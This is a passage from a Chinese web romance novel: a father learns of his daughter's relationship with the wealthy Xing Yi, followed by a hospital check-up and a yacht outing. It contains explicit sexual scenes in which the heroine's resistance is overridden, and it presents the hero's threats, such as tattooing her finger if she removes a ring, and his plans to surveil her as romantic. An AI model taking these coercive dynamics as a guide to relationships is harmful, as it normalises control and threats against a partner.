一道沉磁嗓音插了进来。 孟纾语惊恐转头,邢屹就站在她侧后方。 来不及思考,他已经牵起她的手,把她从座位上拎起来,当着老孟的面,跟她十指紧扣。 浅笑说:“谢谢爸。” 第45章 回吻是不是还想要 晴天霹雳。 孟纾语失去思考能力,石化在原地。 红晕顺着耳根子快速蔓延,掌心也滚烫,被他的手紧紧包裹,热意源源不断朝他流去。 邢屹牵着她的手,丝毫没有被她的燥乱影响。 他眼底泛起轻描淡写的笑意,微垂视线看着她父亲。 不是在商量,而是在通知。 只见老孟一分钟内变换了八百种表情。 从愣怔到呆滞,再到欲言又止,最后当头一棒,遭受重创。 院子里仿佛上演一场默剧,落针可闻。 直到邢美莱误入僵局:“怎么都不进来啊,饭好啦。” 顿了顿,邢美莱看过来,注意到两人牵在一起的手。 “你们” 孟纾语心乱如麻,咬咬牙亡羊补牢似的抽回手。 邢屹一下又把她攥回去,她身形踉跄,他揽住她肩膀低头耳语,嚣张热气扑在她脸颊:“挣扎有用吗?” 早就没用了。 今晚这餐饭,吃得异常沉寂。 从坐下那一刻起,老孟没说一句话。 邢美莱时不时挑起话题闲聊,试图圆场,气氛却越来越尴尬。 邢屹依旧坐在旁边,像往常一样吃得索然无味,却是全场唯一一个云淡风轻的人。 孟纾语埋头夹菜,选中一小块鸡腿肉,失神地塞进嘴里。 等她意识到自己在嚼什么时,呛人的辛辣已经直冲鼻腔。 好厚一块姜! 邢屹瞥她一眼,直接伸手托住她下巴:“吐出来。” 孟纾语瞪大眼睛看向他,余光觉察出长辈震惊的目光。 谁不知道邢屹有严重的洁癖。 这种打破常规又极度亲密的事情,堂而皇之发生在餐桌上,甚至由他主导,免不了让旁人觉得有点 色。 她心跳呼吸全都乱套,含含糊糊说:“不用了,我拿纸巾接住就好” 为什么纸巾盒那么远! 来不及反应,邢屹已经捏住她脸颊两端,像逼迫仓鼠吐出坚果库存一样,迫使她张开嘴,把她嚼碎的姜块接到掌心,再拿纸巾处理掉,又给她擦了擦嘴角。 动作熟练又慢条斯理,仿佛两人私下已经上演过此事无数遍。 孟纾语面红耳赤,喉咙干得不像话,立刻端起水杯咕噜咕噜喝水,恨不得整个人钻进杯子里躲个一百年,从此不见天日。 老孟拿筷子的手开始颤抖,目光在两人之间来回跳转,终于开口:“你们,是什么时候开始的?” 邢屹好整以暇:“小语十八岁生日那天。” 老孟震惊。 不敢相信事情那么早就发生了,更不敢相信,自己居然看走眼了。 邢屹哪里是什么斯文贵公子,分明是拐骗他家小白羊的野狼啊。 高血压要犯了。 老孟严肃脸:“所以你俩现在发展什么程度了?” 邢屹眼神清淡,朝远处那架钢琴抬了抬下巴。 “那里,是我们第一次接吻的地方。” 孟纾语立刻警惕,在桌下踢他一记,让他不要再说了,再说要出事。 邢屹无动于衷,不达目的不罢休:“孟叔,您说的支持我们,还算不算数?” 老孟面露惊惶。 孟纾语小声插话:“我爸支持我恋爱自由,又没说支持我们恋爱” “那就结婚。” “?!” 邢屹不疾不徐:“孟叔,小语想嫁给我。” “我不想!”她连忙否认,生怕第二天睁眼就是民政局门口。 老孟深呼吸,认真问女儿:“你想跟邢屹结婚吗?” 邢屹:“她想。” 孟纾语:“他乱说!” 老孟一脸凝重,欲言又止,好像明白了什么,又好像没明白。 另一旁,邢美莱默默扶额,轻叹一声:“老孟,吃饱了吧,我们到院子里坐坐。” 不多时,长辈结伴离开,给他们留下独处的机会。 邢屹若无其事,侧过脸来一手撑着额头,意味深长盯着她,孟纾语直接抓起他挂在椅背的外套,拧成萝卜形状用力打他:“你干嘛你干嘛!你到底要干嘛!” 刚打几下,邢屹夺过她手里的武器,一个起身将她扛到肩上。 突然天旋地转,她惊慌失措掐紧他后背,双腿忍不住踢蹬,被他单手控制住,转眼被他扛上了楼,她气得想咬他:“你要干嘛?!” “//你。” 浑话一堆,哪怕家里有人他也毫不收敛。 卧室门被他反锁,孟纾语挣扎无果,腿应该用来逃之夭夭,此刻却被他分开攥牢。 她动作不断想逃,却有一张隐含真实想法的唇,以更敏感的反应出卖了她。 邢屹俯身探索,双唇深处被他用舌尖技巧撩拨,顶蹭,一片蔓延的湿,他吮咬,舔/逗,她哆哆嗦嗦绷紧了手指脚尖,什么话都说不出来,只能反复溢出他喜欢听的靡软声调,溢出失神后的潺潺。 邢屹整整十分钟闷头呼吸,最后撩起眼皮看她,手指探进唇里搅了搅说,“这里不会说话,但是很会流水。” 她羞赧地别过脸,不再出声,仿佛失语症再犯。邢屹掰过她下巴,“你还是不说话的时候最乖。躲什么?不想好好躺着,就罚站。” 然后真的开始罚站。 浴室里,她贴墙承受,邢屹挑起她下巴吻她,她进退两难上下交困,无法出声反抗的唇被他用长指反复划蹭,原先的薄软涨成肿红,关不紧的淋浴器不断往下滴水,她听见一阵淅淅沥沥,水流滴落地面,溅了她满腿,是真实的,温热的,她再怎么说讨厌他,也抵不住这一刻。 邢屹游丝般的眼神吊着她,低笑一声,“好乖,小语这张吃过我的嘴最会说实话。是不是还想要?” 她双眸涣散,攥着他手臂嗫嚅,“不要了” “那要什么?”他低垂视线,指腹摩挲她颤动的唇,“要不要跟我结婚?” 她浑身一紧。 “也不要” “是吗。”他手指又探进软唇里,阻止她合紧,“都在回答我。我该信哪个?” 她呜咽出一丝哭腔,淋浴器似乎出了故障,一直往下滴水,邢屹捏准阀门拧了拧,漫长的滴答声,缓缓平静。 他也被淋了一身,孟纾语无力地跌滑下去,邢屹圈着她的腰把她捞起来,她往前一倒,呼吸闷在他胸膛,缓了缓神,小声骂他混蛋。 邢屹把她打横抱出去,冷嗤说:“我也没说我是好人。” 他不是好人这件事,邢美莱不知道,老孟更不知道。 邢美莱表示,谈恋爱是年轻人自己的事,他们不该干涉。 老孟思来想去,找不到反驳的点,却也心事重重。 都凌晨了,老孟还坐在院子的露营椅上喝茶沉思,时不时叹气,一夜之间好像又老了一岁。 孟纾语在卧室里疯狂用遮瑕膏遮住吻痕,终于一切妥当,她裹着一件大衣来到院子里。 看见父亲惆怅的身影,她悄无声息靠近,坐在一旁。 “爸,我真的不打算跟邢屹结婚,你别难过。” “唉,爸不难过,爸就是担心。你还记得你小时候画的涂鸦吗,恐龙和蚂蚁的故事。我们两家,就像恐龙和蚂蚁的关系。乖乖,对不起,是爸爸没本事,不能给你创造出跟邢家门当户对的条件。” “爸,我们真的不结婚,你不用考虑这个啦。” 老孟是过来人,明显比她想的更深:“小语,人的想法都会随着时间改变的,你今天不想嫁,万一明天就想嫁呢?邢屹各方面条件都那么优秀,你真的不会动心吗?” 她抿抿唇,忽然答不上来。 怎么可能没有动心过。 但他是一个随时可能犯病的人。 这话不能跟父亲说,会让对方担心的。 她只能劝说:“如果真的到了那一天,我一定会慎重考虑的。爸,既然想法会随着时间改变,那生活也一定存在很多变数,万一邢屹喜欢别人了呢?那你担心的问题就不存在了。” 老孟顿时警惕:“他很花心?” “也不是这个意思。我是说,万一他家里要求他联姻什么的,那我们不就分道扬镳了。” 这么一说,老孟更担心了。 万一真发生那么狗血的事,那他女儿岂不是成了被人抛弃的那一个? 太令人揪心了。他宁愿女儿谈一个穷小子,也不愿她跟家世不凡的男人牵扯。 孟纾语也是刚刚才想到关于联姻的事。 或许是因为小时候看了太多豪门电视剧,那些错综复杂的情感纠葛全都印在她脑子里。 越聊越心乱,只能快点结束话题:“时间不早了,爸,早点睡吧,我先上楼了。” 孟纾语默默离开,上楼时加快脚步。 不料前路被人堵住。 她踉跄一记,抓住扶手站稳,停在旋梯中央,讪讪抬眸,目光顺着他锁骨,再到凸起的喉结,最后冷不丁撞进他眼里。 邢屹换了身浅色居家服,周身的凌厉感淡化不少,他双手插兜往下走了一步,停在她面前一级台阶上,居高临下睨着她。 “谁跟你说我要联姻?” 她眼神飘忽。 “我猜的。” 他神情不屑:“你狗血电视剧看多了?如果要抛下你跟别的女人联姻才能稳住全局,那你男朋友绝对是个废物,你可以尽情骂他。” 孟纾语颤颤眼睫,看向他。 来不及撤退,邢屹又往前走一步,她紧攥楼梯扶手,快速往后踏一记台阶,他就又逼下来。 他走,她再退。 交叠的步伐越来越快,她脚后跟不慎踏空,惊险之际,被他攥住手腕往前一扯,安安稳稳撞进他怀里。 “孟纾语,知道榫卯结构吧。”邢屹垂眸打量她惊魂未定的表情,语气认真又微微嘲弄地说,“你退一步,我就会进一步。进到底,嵌到底,直到你哭着求我也无法让我拔/出来为止。” 第46章 回吻你在求人还是在勾人? 僵持在旋梯上,邢屹捏起她后颈让她抬头,两人就这么要吻不吻地对视着。 他淡漠又隐含热欲的眼神,丝一般吊着她,本来就有身高差,他还站在上面一级台阶,她仰头仰得脖子都酸了。 怕老孟进来撞见这一幕,她立刻回神,试图掩耳盗铃从他身侧闪走。 步子刚抬起来,又被捉住。 宽热的手摁着她脑袋压向他胸膛,鼻息之间全是他的淡香,她匆忙拍拍他手臂,闷声抗议:“快点放开,我要上去了。” 他揉揉她发顶,颇有闲情逸致:“上去,上哪儿去?” “回房间!” “回房间做什么?” “做——”差点上他的当,“不做什么!回去睡觉。” 她扑腾两下推开他,他顺势托着她的腰, 像逗猫一样把她抱起来,带着她轻而易举转了个身。 位置调换,邢屹往下踏了一级,她冷不丁站在上面,有种跟他平视的错觉。 他趁火打劫:“亲我。” “?”她转身就走,“不亲,我要睡觉了。” 又被他拉回去,温热的唇直接贴过来,她惊慌躲闪,后脑勺被他一只手牢牢掌控,唇齿防线已经被撬开,邢屹绞着她的舌尖追逐舔/弄,粗喘声蛊惑人心,她呼吸也跟着急促起来。 身子变软,本来用来推他的手也酥麻无力,缓缓滑落下去,邢屹攥住她手腕,牵引她的手伸进他衣服里,贴着腹肌,结实滚烫的触感,她心乱如麻,手指不由自主地颤。 邢屹往前踏了一步,她被迫往后挪。 两人挤在同一级台阶上,邢屹把她抱起又放下,让她踩在他脚背上,身高差恢复,他摁着她后脑勺低头索吻,她愈发招架不住,趁着换气间隙软声讨饶:“不亲了,会被我爸看见的” 细碎尾音被他大开大合的深吻吞没,邢屹微阖着眼皮观察她,贴着嘴唇耍浑:“好啊,正好让孟叔看看,你对我是怎么个生理性喜欢法。” 自从她挑明自己对他只是生理性喜欢之后,他好像很不爽,经常借着这个话题戏谑一番。 他越是嘲弄,她就越不能否认彼此间的生理默契。 短短几分钟,被他亲到脊骨酥麻,大脑一片空白,嘴唇被他忽轻忽重地磨着,软得一塌糊涂。 一吻时而热烈时而温柔,他仿佛故意折腾她,好不容易分开一点距离,她揪着他衣袖讷讷开口:“我们回房间,好不好” 邢屹微垂视线,身下一双温软水眸凝视他,眼角泛红,被他欺负出一点生理泪水,手指还轻轻扯他衣袖,在求饶。 他喉结一紧,手臂圈着她的腰用力往身前一带,“你在求人还是在勾人?” 蓦地撞进他怀里,她懵了一瞬,下巴搭在他胸口抬起头,“我在求你” 邢屹置若罔闻,一手伸进她衣摆抚摸她后背,直到露台的玻璃门从外面被推开,动静隐约传来,父亲回来了。 知道女儿谈恋爱,跟亲眼目睹女儿跟异性暧昧,这是两码事。 老孟要是看见邢屹不做人的样子,肯定会被气出高血压。 孟纾语想方设法逃脱,突然被他勾着双腿抱起来。 她下意识搂着他脖子,顾此失彼,双腿就松松垮垮搭在他腰两侧,邢屹神情不悦,在她腰臀处掌了一记。 “夹紧。” 扇这么用力!她浑身一抖,怕掉下去,双腿很快缠紧他的腰。 就这样被他抱回房间 深夜淅淅沥沥下起了雨。 她睡不着,邢屹就陪她熬夜。两人依偎在床头,用大屏看电影。 是之前毛婧婧给她推荐的那部惊悚片,男主爱而不得,挖出了已逝女主的心脏,安置到拥有女主样貌的仿真机器人里。 孟纾语已经看过一遍,没有之前那种震惊感,反而有点困,窝在他怀里打盹。 邢屹揉着她发顶,不太走心地看了一半的剧情,皱起眉不屑地说:“这男的有病。” “” 大哥别说二哥,你俩疑似半斤八两。 孟纾语揉揉眼睛,小小声:“有点困了,你还想看吗?还看的话我再撑一会儿。” 邢屹顿了顿,目光落向她脸庞。 “你说什么?” “嗯?”她抬眸,不知为何他眼底闪过一丝诧异。 不就陪他一起看个电影吗?这有什么的。 她恍惚重复说:“你要是想继续看,我就陪你呀。” “困成这样还陪我看?” 她用力睁开眼,让自己精神抖擞。 “本来就说好一起看的,我要是先睡着了,岂不是很没礼貌。” 邢屹兀地失笑,目光落回屏幕。 “小混蛋,你还真是一本正经。” “你才混蛋”她克制住困倦看向大屏幕,拍拍他胸膛提醒,“重点要来了,仿真机器人要反抗指令了。” 邢屹波澜不惊:“然后这男的就疯了?” “对。因为女主不爱他,甚至连装有女主心脏的机器人也不爱他。” 邢屹眯起眼:“为什么不爱他?” “因为他有心理疾病啊,动不动就想把女主的心脏挖出来,谁不害怕呢,连机器人都受不了他,他太不正常了。” “他有段时间不是挺正常?” “那是因为女主哄他啦,比如亲亲他,抱抱他什么的,他心情就会好一点,行为也不会太过分。” “这样啊。”邢屹浑不在意说,“继续哄不就行了?” “不行的,那只是缓兵之计,男主的本性并没有被改变。他需要的那种强烈到病态的情感,女主也给不了他。” 邢屹看着电影若有所思,手掌搭在她脑袋上,轻揉几下,柔软发丝绕在他指间。 “其实他要的并不多,只要——” 话没说完,呼吸声轻浅起伏。 邢屹低头,她已经窝在他怀里睡着了,睫毛安静又乖巧地垂着,鼻尖微微泛红,侧脸贴着他胸膛,压出一小团软乎乎的脸颊肉。 他伸手捏了捏,她微微蹙眉,无意识溢出一声梦呓,蜷着身子,脑袋从另一边蹭到他心口,软绵绵沉睡。 邢屹保持着抱她的姿势,微微侧身拉开床头柜抽屉,拿出一个丝绒盒子。 取出来,一枚铂金戒指。 戴到她无名指上。 他低头,亲吻她眼角。 “小混蛋,生日快乐。” 孟纾语意识不清地答:“你也快乐” 细雨下了一整晚,终于停歇,浓烈阳光晒干院落里的水渍。 孟纾语倦倦地翻了个身,意识逐渐清晰,总觉得手指上有什么硬硬的东西束缚着她。 她睁开眼,被窗外光线晃了一下。 看清这枚戒指。 她不由得拧起眉。 哪来的? 身后的男人忽然把她拖抱进怀里,下巴搭在她发顶,嗓音沉哑倦懒:“动什么,继续睡。” 她已经醒了,蹭了蹭翻个身,摇摇他肩膀:“什么时候给我戴的戒指?” 他睁眼瞥了一下,又闭上眼,大清早就犯浑:“不知道,你去问邢屹。” “” 孟纾语盯着这枚戒指足足十秒。 琢磨片刻,趁他还在睡,她立刻用另一手捻住无名指根这一圈,转了转,试图摘下来。 “敢摘下来,你就等着手指上多一道刺青。” 邢屹冷不丁出声,哪怕闭着眼,也能把她的小心思看得透透的。 她后背凉飕飕,呼吸发紧。 “我没摘。” “嗯。很乖。”他搂紧她,在闹铃响起之前继续睡- 宁城新店铺装修,老孟要抓紧时间赶回去监工,于是买了今天最早的机票,依依不舍地离开,登机前给女儿转了一笔钱,祝她生日快乐。 又在微信留言说:[看你最近状态不错,爸就放心了。 虽然不知道你跟邢屹之间究竟怎么回事,但我跟你莱姨聊过了,年轻人的事情,我们做长辈的,就不过问太多了,要是他欺负你,你就跟爸爸说。 至于结婚,还早着,爸也不想和你聊结婚的话题了,一聊我就头疼,一想起我这么乖的女儿刚成年就被哄骗,我就来气。要不是看在你莱姨的面上,邢屹这臭小子,我早揍他了] “” 好想回一句,揍吧,邢屹特别扛揍,揍死他! 车子匀速行驶,两人坐在车后排,邢屹扫来一眼,她忙将手机倒扣,脱口而出:“还有多久到医院?” 邢屹看她这此地无银三百的样,知道她又在心里蛐蛐他了。 他淡嗤一声,有点好笑地问:“上回不是刚去过,就不认路了?” “我就问问嘛。” 她悄咪咪把手机放好,下一秒被他揽着肩膀搂进怀里。 今天要去医院复诊。 她 发现,自己不太了解邢屹,但他却很了解她。 他知道她突患失语症时的茫然紧张,也知道她对好朋友的担忧,于是百忙之中也时刻记着这些琐事。 一是要定期带她复诊,二是给她那位患双相的朋友安排一场环球旅行,让对方重拾对生活的热情,打消孟纾语对友人精神状态的顾虑。 孟纾语沉下心琢磨,抬眸看他,想跟他说一声谢谢。 邢屹垂眸睨她,很气人地问:“想亲我?” 音落,林泽立刻升起车内挡板。 “”一丝尴尬蔓延,她讪讪别过脸,“不想亲。” 检查完,各项指标良好。 来都来了,顺道又挂了个中医门诊,检查她最近体寒的问题。 门口的电子屏跳出姓名,孟纾语按排号次序进去。 诊室门口坐着的都是等待叫号的单身女性,邢屹不方便在这儿杵着,于是暂时离开,跟林泽到走廊尽头谈话。 闲下来的时候还是习惯玩一局消消乐,邢屹背靠着通风窗,指尖在手机屏上来回轻划,漫不经心问:“事情查完了?” 林泽靠在一旁嘬一袋早餐奶,认真说:“是,跟你猜的没有多大出入,上次那辆小货车,的确是邢皓南的手笔。货车司机当晚就在高速上出了事,邢皓南私下安排,让助理给司机家属转了两百万,当封口费。” 邢皓南,邢屹的废物表哥。两年前,在老宅饭桌上,邢皓南犯贱,找孟纾语的茬,被邢屹怼到脸色涨红。 梁子倒也不是那时候结下的,他们本就不合。 大家族痴迷于开枝散叶,论辈分,邢皓南是名义上的长孙。 这家伙一直想向老爷子证明自己的价值,但老爷子一直偏爱邢屹。 邢皓南在老爷子眼里,就是个只会吃喝玩乐的饭桶。 邢屹的十八岁生日礼物是集团股份,而邢皓南,今年都二十六了,毛都没捞到,父亲还被刚入职的邢屹撵下台了,他连个像样的靠山都没有。 邢屹根本没把他放在眼里,指尖清掉一排狗头,轻蔑地问:“他最近在折腾什么?” “据说跟朋友合伙,在港区那边创立了一个科技公司,刚开始没掀起什么浪花,各种资源都是依靠他爸的手腕得来的,后来他爸不是被你揪住把柄主动卸任了吗,邢皓南的资金链一下就断了,正在谈的红头项目也打了水漂,现在欠了一屁股外债,把车库里的车子全都买了,还不够抵的。” 废物一个。 邢屹不甚在意,林泽却想得比较远,劝说他:“邢皓南心术不正,上回搞你没得逞,估计还会使绊子。新仇旧恨堆在一起,最是难处理,今后还是慎重点吧,毕竟有利害关系,万一他哪天不针对你了,而是针对你身边的人呢。他现在过得水深火热的,老爷子又不搭理他,要不你拉他一把,安抚一下?” 优柔寡断,以德报怨,邢屹的字典里就没这些词。 “没剥了他的皮就不错了。” 消消乐结束一局,邢屹百无聊赖划着手机,等待诊室里的人出来。她不在身边的时候,其实他不太放心,这几年也没教会她多长几个心眼子,最容易被不怀好意的人盯上。 林泽嘬完早餐奶,转头看他神情恹恹,判断出他想抽烟,于是很上道地,从裤兜里掏出烟盒和打火机,递给他:“小邢总,要不?” 邢屹一脸“你找死”的表情。 林泽日常在死亡边缘试探,干笑两声:“哈哈,知道你戒了,我在帮孟小姐考验你呢。” 说来也怪,林泽总觉得,像邢屹这样百无禁忌又目空一切的人,最近似乎有了一丝难以言说的顾虑。 孟纾语看完医生,拿着一份药单子走出来,左右看看,瞥见走廊尽头的身影。 她小跑着过去,邢屹抬眸,把手机放回口袋,趁她走过来,他一把捉她进怀里。 “怎么样?” 她呼吸闷在他胸前,抬头说:“还好,没什么问题,医生让我喝中药,一会儿到服务台登记一下就好。” “哦。” 她发现他表情有点冷,仿佛心不在焉。 “你怎么了,在想什么?” 邢屹眯起眼,望着远处说:“在想,最好在你身边安插几个保镖,每天盯着你的一举一动。” “干嘛,你是不是又犯病了。” 第47章 回吻一秒都等不了(一更) 孟纾语低睫瞟向无名指的戒指。 里面不会装了什么微型定位器和监听器吧。 心头霎那间泛起寒意。 迟疑片刻,她下意识抬眸,邢屹正悄无声息睨着她,眼底情绪捉摸不透。 被他盯得心里发毛,她把戴有戒指的手背到身后,吞咽一下说:“你们先聊,我去服务台登记一下煎药信息” 刚说完,邢屹颐指气使的目光扫一眼林泽,朝她准备离开的方向轻抬下巴。 意思是让他寸步不离地跟着,林泽了然于心:“我陪您去吧。” “没事的,我自己去就好。” 孟纾语小碎步离开,捏紧肩上的包带。 总觉得后背凉飕飕。 林泽一脸无能为力的表情:“看来她还是喜欢自由自在的生活,不喜欢被过多干涉。” 邢屹异常平静,眼风轻扫而来:“我在干涉她吗。” 死亡提问。 林泽僵僵转一下眼珠子,一切尽在不言中,怕邢屹发作,林泽立刻找补:“派人跟在她身边的事情,还安排吗?” 邢屹望着渐行渐远的背影,安静几秒,鼻腔沉出一声气。 “再说。” 临近中午,三人离开医院。 孟纾语观察车窗外飞驰而过的街景,转头看着他,小声试探:“你是回别的地方,还是回公寓?” 邢屹低眸划平板处理工作邮件,从容不迫地戏谑:“这话挺有意思,我是四海为家了?” “本来就是,你到处都有可以盘踞的窝点。” 大着胆子把他说成十恶不赦的罪犯。 邢屹懒恹恹掠她一眼,未作反驳,目光落回平板上继续回邮件,使唤林泽:“回公寓。” 驾驶座传来一声“OK”。 孟纾语撇撇嘴抱起胳膊,伤脑筋地埋怨:“可是公寓的床很小啊。” “小就不能做。爱了?” 她吓得冲上去捂他的嘴:“你不要乱讲!” 邢屹就着被她捂嘴的姿势,垂眼打量她。 她慌张的时候,说话就带了点从小惯会的江南腔调,怎么听都像在撒娇,一双杏眸圆怔怔的,好像盛着一汪清水,稍微一挑拨就有涟漪泛起。 孟纾语被他盯得不知所措,完全预判不出他又想做什么。 她连忙收回手,掌心犹存他上一秒的呼吸,热气凝成一片薄雾沾在掌纹之间,她无意识贴着另一边手背蹭了蹭,抹去一层令人胡思乱想的温热。 沉默间,邢屹把她拖抱到怀里,让她侧身并拢膝盖坐在他腿上,她只能勾住他脖子保持平衡。 他坏心眼地把平板搭在她小腹下方,边划屏幕边说:“正好你生日,这周带你出去玩。” 听上去有一丝拐骗嫌疑。 她心有余悸,看着他认真工作时低垂的眉弓,揪住他肩上的衣料问:“要带我去哪里?” “你猜。” “我不出国。” 出了就不一定回得来了,她对此非常警惕。 邢屹分神看她一眼,抬手贴近,指尖抚走她睫尾沾上的小毛絮:“想不想出海玩几天?” 先前定制的游轮订单给到加拿大的造船商,大半年过去了,最近正好收到货。 指尖触碰眼角撩出一丝痒意,她快速眨一下眼,茫然跟他对视:“就我们两个人去吗?” “你想热闹点也行。” “那还是热闹点好。” 他兀地笑了。 “还是这么怕我。我有这么可怕?” 她心 说当然了。 他喜怒无常,手段又变态得花样百出,经常觉得,她面前摆了一个盖着黑布的物品箱,规则是,她必须把手伸进箱顶的圆孔里,一鼓作气摸索里面的物件。 不知道自己会摸到什么,有可能是一身冷鳞的蜥蜴,也可能是毛茸茸玩具。 摸到前者的几率更大一些。 既然她不想漂在海面跟他独处,那就邀请朋友们过来凑热闹。 至于邀请谁,邢屹不处理这些琐事,让林泽看着办。 次日周六。 一大早,邢屹亲自开车,提前到达东湾港。 港口附近一整片区域都是游艇俱乐部的经营范围,私人泊船区里整整齐齐停靠了十几艘豪华游轮。 邢屹下车,把车钥匙扔给俱乐部的礼宾员,一手搭在未关的车门顶上原地站着,目光飘向远处,朝最显眼的停泊位置轻扬下巴:“那艘是谁家的?” 礼宾员立刻答:“是陈家那位的。” 邢屹顿了顿,神情若有所思。 礼宾员察言观色,心想难不成,那里的泊船区被邢屹相中了? 果不其然,邢屹眯眼打量一番,看不惯地说:“把它挪走。” 礼宾员震惊。 “这个,回头我跟陈总的私助商量一下。” “有什么好商量。”邢屹做事习惯干脆利落,一秒都等不了,“直接挪,有事我担着。” “好、好的。”礼宾员立刻下去安排。 就这么非常无理霸道地,抢占了最佳泊船区。 私人游轮从东湾港启航,按照既定的航线,缓缓驶向深海。 临近正午,阳光热烘烘一层晒在甲板上,仿佛夏季。 邢屹那帮发小穿着花花绿绿的裤衩背心,聚在甲板上捕鱼。 十几只海洋活物扑腾出一股咸腥味,孟纾语猫在边上好奇地问:“在这片海上捕鱼,违法吗?” 严帆被她一本正经的乖巧逗乐了,笑出一口白牙:“当然不会啊!有证的,咱是良好公民。” 说完,他抓起一只滑溜溜的青蓝色海鱼,作势要塞进她怀里:“要不要玩一下?” “不不不!”她从小就害怕这些带有黏液的水生物,连忙起身后退,跟他手里的丑鱼大眼瞪小眼,“不要不要,你们玩就好。” 严帆没有恶意,就是起了点玩心,非要逗她,抓着鱼追过来:“摸一下嘛!它好乖的。” “不——啊!”差点摔跤,踉跄时后背撞到一个坚硬胸膛,邢屹把她拎到一边,兴师问罪,“谁准你们吓她?” “冤枉冤枉!” 严帆举手投降,海鱼趁机从他手里滑落,砸到她脚边活蹦乱跳,她哇一声叫出来,闪到邢屹身后紧紧抱住他胳膊,表情像吞了一百只苍蝇,嫌弃又惊慌。 邢屹随手拿了条金属长叉把鱼怼起来,回头饶有兴味地问她:“要不要它给你道歉?” “啊?”她老实巴交的,又往后退一步,“可是鱼又不会说话。” 邢屹低笑一声,拿着叉子上下晃了晃,鱼都被他晃晕了。 “看见没,它给你鞠躬道歉了,这鱼从日本游过来的。” 她忍俊不禁,一时忘了双手还依赖十足地扯着他衣角。 他换了件宽松的白衬衫,搭一条垂感极佳的卡其色棉麻长裤,站在甲板上被海风一吹,哪里像强势不堪的混蛋,分明是掌了实权又一向松弛懒散的矜贵公子哥。 这鱼怪丑的,邢屹嫌弃地把鱼放回网里,低头对上她软绵绵的眼神。 她忽然别过脸,脸颊泛起一层红晕。 他笑了:“你有什么特殊癖好?看条鱼也能脸红?” “” ——“小语呢?” 常嘉冒出甲板,在船梯口左右瞧瞧,找到了她,对她招招手让她返回船舱,“快来快来,我带你玩德扑!” 孟纾语跃跃欲试,邢屹却不由分说把她揽到怀里,刺对方一记冷眼:“少觊觎我的人。” 孟纾语还挺想玩的,奈何被他绊住。 常嘉天不怕地不怕,白他一眼,“邢屹你小心眼吧?”上来牵住孟纾语,“走,我们不跟小心眼的男人一般见识。” 邢屹无语地笑了下,松手让怀里的人跟着去玩。 孟纾语成功离开,走下船梯时回身望他一眼,目光里有得逞的忍俊不禁,乖觉地跟他挥挥手:“拜拜~我要去赢钱啦。” 邢屹两手向后撑着甲板围栏,没说什么,撇过头牵了牵嘴角。 几个发小悄咪咪观察他,严帆还模仿他的表情,被赵路焱好笑地踹了一记。 几人不怕死地调侃:“啧啧,屹把人家乖乖女带坏了,害人家无心学习,大学没毕业就开始纸醉金迷了。” 邢屹懒得搭话,从裤兜里拿出一小沓拍立得相纸,倚靠着围栏自顾自地看起来。 一帮朋友继续玩他们的,从网里抓起一条巨型章鱼,吱吱哇哇闹作一团。 忽然一道声音插了进来:“这里好热闹呀。” 严帆一抬头,直呼卧槽。 “我还以为是孟纾语,这他妈也太像了,照着孟纾语整的吧?!” 赵路焱吹一记口哨:“有好戏看咯。” 来者是个小模特,目测是常嘉圈子里的女生。 邢屹风雨不惊,眼皮都不撩一下,依旧倚靠围栏翻看手里的相片。 都是常嘉在甲板上给孟纾语拍的单人照。 温凉海风阵阵吹来,他洁白的衬衫衣角时而平整时而翻飞。 从身后吹来的风仿佛一只无形推手,将他肩膀和腰身的轮廓勾勒得格外清晰。 女生走到他身边,给他递一支烟:“我们见过诶。我叫Mia,你还记得吗?” 邢屹轻描淡写扫她一眼,很快就掠走视线,烟也没接。 Mia默默把烟攥在手里,继续套近乎:“在加州的时候,我没记错吧?你在拉霍亚玩滑翔伞,那天我正好在附近有一场拍摄。” 这边气氛微妙,远处那帮发小竖起耳朵不吵不闹,蹲在地上摁着一只大章鱼,一起听八卦。 “完了完了,这是替身梗。” “我去,你到底看了多少小说?” “什么小说,甄嬛传你没看过啊?这不活脱脱一个替身吗,邢屹会不会把持不住?这女的长着孟纾语的脸,看上去又比孟纾语玩得开,反差很大啊。” “有道理。如果是我,我把持不住。” “嘘,别吵,认真听。” 邢屹把玩着手里一小沓照片,兴致缺缺瞥向对方:“有话直说,少跟我绕弯子。” 娱乐圈里谁不知道攀上他就能一步登天,获得无数资源。 Mia就是抱着这个目的来的。 外界说法不一,大家不知道他究竟是不是单身,只知道他回国之后,身边一直有个女生,好像是他大学时的前女友。 Mia心想,前女友而已。 就算是正式女友也没关系啊,这年头谁还坚持从一而终,不都是快餐式恋爱,多线式发展。 Mia笑笑说:“你看着我的脸,不觉得很熟悉吗?” 邢屹挑眉:“所以呢,你想代替谁?” “代替说不上吧,我只知道,男人一旦喜欢某种类型,就会忍不住尝试同类型里的新品。喜欢你的人有很多,但她们都不够勇敢。我想勇敢一点。” 邢屹冷笑一声。 “没必要。整成这样,遭了不少罪吧。” “” 字字诛心,Mia一时噤声。 邢屹说:“我一般不拿两个女人作比较。但你执着于答案的话,我可以告诉你,你确实比不上她。” Mia尬在一旁。 “如果现在站在我面前的人是她,我会给她加一件衣服,而不是看她大冷天还穿个比基尼在甲板上晃。” “”勾搭不成反被嘲。Mia下意识抱起胳膊,挡在身前。 邢屹掠走视线,望向海平面尽头的日落。 空气安静下来,Mia自讨没趣,转身走了。 没想到被他叫住。 她又燃起一丝希望,回身:“怎么啦?” 邢屹云淡风轻:“看你挺闲,帮忙传个话,跟她说玩完这一局就上来,我在等她。” “噢。” 棋牌室里,孟纾语刚输钱,正沮丧呢,冷不丁被人拍了拍肩膀。 “那个,邢总让我来叫你上甲板。” “嗯?”她转过 头。 诧异。 对方跟自己长得好像,她不觉多看了几秒。 对方恹恹别过脸,似乎不想被她直勾勾盯着看,只催促:“你快上去吧。” 孟纾语回神,被对方精致扑闪的眼睫毛吸引注意力,她微笑说:“你的睫毛好漂亮呀。” “是吗,我专门接的狐系睫毛。”Mia有点不好意思地摸了摸眼睛,叹息时自言自语,“难怪他这么喜欢你,我现在知道了。” 对世界充满好奇又包容万物,还总能发现事物的闪光点,浑身上下没有一丝厌世嫉俗的戾气,反而能给他人提供满满情绪价值的女孩子 很难不讨人喜欢吧。 孟纾语依言离开棋牌室。 这游轮实在太大,整层都是弯弯绕绕的走廊,她走过一回也记不太清,只能按照头顶悬挂的指示标牌兜兜转转。 中途有个男人从卫生间出来,两人迎面撞上,对方的眼神偷偷打量她。 等她看过去,对方又匆忙挪开眼。 好奇怪。 第48章 回吻压着起伏的青筋纹路(二更)…… 两人擦身而过。 孟纾语心有疑虑,穿过船舱走廊上到甲板。 